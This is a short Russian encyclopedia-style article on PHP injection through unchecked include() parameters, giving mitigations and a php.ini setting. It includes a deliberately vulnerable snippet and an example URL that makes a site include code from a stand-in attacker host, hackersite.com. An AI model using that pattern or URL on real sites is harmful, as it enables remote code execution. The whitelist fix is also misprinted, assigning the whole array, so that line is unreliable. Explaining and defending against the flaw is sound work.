PHP-инъекция () — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются: eval(), preg_replace() (с модификатором «e»), require_once(), include_once(), include(), require(), create_function(). PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример <? ... $module = $_GET['module']; include ($module.'.php'); ... ?> Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается .

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты Существует несколько способов защиты от такой атаки:

Проверять, не содержит ли переменная $module посторонние символы: <? ... $module = $_GET['module']; if (strpbrk($module, '.?/:')) die('Blocked'); include $module. '.php'; ... ?> Проверять, что $module присвоено одно из допустимых значений: <? ... $module = $_GET['module']; $arr = array('main', 'about', 'links', 'forum'); if (!in_array($module,$arr)) $module = $arr; include $module . '.php'; ... ?> Этот способ является более эффективным, красивым и аккуратным. Прописать каждое значение через if <? ... $module = $_GET['module']; if ($module == 'main') include 'main.php'; if ($module == 'about') include 'about.php'; if ($module == 'links') include 'links.php'; if ($module == 'forum') include 'forum.php'; ... ?> Использовать оператор switch: <? ... $module = $_GET['module']; switch($module){ case 'about': case 'links': case 'forum': include "{$module}.php"; break; default: include 'main.php'; } ... ?>

Это решение аналогично решению с if, но имеет более компактную запись.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

См. также Инъекция в хакерских атаках Инъекция SQL

Ссылки Страница документации PHP, посвященная безопасности

Категория:Уязвимости защиты Категория:PHP Категория:Атаки и эксплойты Категория:Информационная безопасность